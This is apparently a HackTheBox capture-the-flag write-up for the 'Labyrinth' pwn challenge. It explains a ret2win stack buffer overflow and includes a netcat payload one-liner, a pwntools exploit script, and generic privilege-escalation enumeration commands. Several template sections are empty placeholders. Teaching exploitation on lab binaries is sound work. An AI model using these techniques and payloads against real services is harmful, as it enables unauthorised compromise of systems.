Labyrinth

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: buffer_overflow, ret2win, return_address_overwrite, stack_alignment

Summary

You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: HackTheBox | ID: 20260129_hackthebox_labyrinth
• Tags: buffer_overflow, x86_64, ret2win, stack_alignment
• Indicators: fgets with size > buffer, win function exists, No PIE, No canary
• Source: 20260129_hackthebox_labyrinth.md

Foothold

Vulnerability / Misconfiguration

1. buffer_overflow
2. ret2win
3. return_address_overwrite
4. stack_alignment

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• buffer_overflow
• ret2win
• return_address_overwrite
• stack_alignment
• Tags: buffer_overflow, x86_64, ret2win, stack_alignment

Original Writeup

<details><summary>Click to expand original content</summary>

Description

You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.

Binary Analysis

File: ELF 64-bit executable, not stripped

Security:

• No PIE (fixed addresses)
• No stack canary
• NX enabled (no shellcode execution)
• Full RELRO

Key findings:

• Function escape_plan at 0x401255 reads and prints flag.txt
• This is a classic ret2win scenario

Vulnerability

1. Program displays 100 doors and asks user to select one
2. Selecting door 69 triggers special path: "Fly like a bird and be free!"
3. Program asks if user wants to change choice
4. Second input uses fgets(s, 0x44, stdin) - reads 68 bytes
5. Buffer s is at rbp-0x30 (48 bytes from rbp)

Buffer overflow math:

• Buffer size: 48 bytes
• Read size: 68 bytes (0x44)
• Overflow: 20 bytes
• Offset to return address: 48 (buffer) + 8 (saved rbp) = 56 bytes

Exploitation Strategy

1. Select door 69 to reach vulnerable code path
2. Overflow buffer to overwrite return address
3. Use ret gadget (0x401016) for 16-byte stack alignment (x86_64 ABI requirement)
4. Jump to escape_plan function to print flag

Solution

Bash one-liner

 bash read-only • copy allowed Copy
(echo '69'; sleep 1; printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10\x40\x00\x00\x00\x00\x00\x55\x12\x40\x00\x00\x00\x00\x00'; sleep 3) | nc TARGET_IP TARGET_PORT

Pwntools exploit

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

# Connection
p = remote('TARGET_IP', TARGET_PORT)
# p = process('./labyrinth')  # for local testing

# Select door 69 to reach vulnerable path
p.sendlineafter(b'>> ', b'69')

# Addresses (no PIE = fixed)
ret_gadget = 0x401016      # ret instruction for stack alignment
escape_plan = 0x401255     # win function that prints flag

# Build payload
offset = 56                # 48 bytes buffer + 8 bytes saved rbp
payload = b'A' * offset
payload += p64(ret_gadget)  # align stack to 16 bytes
payload += p64(escape_plan) # return to win function

# Send payload
p.sendlineafter(b'>> ', payload)

# Get flag
p.interactive()

Lessons Learned

• Always check for hidden code paths (door 69 was the key)
• x86_64 requires 16-byte stack alignment before call - use ret gadget
• ret2win is the simplest form of ROP - just redirect execution to existing function
• objdump -d or radare2 quickly reveals win functions in non-stripped binaries

</details>

---

signed by XESXOR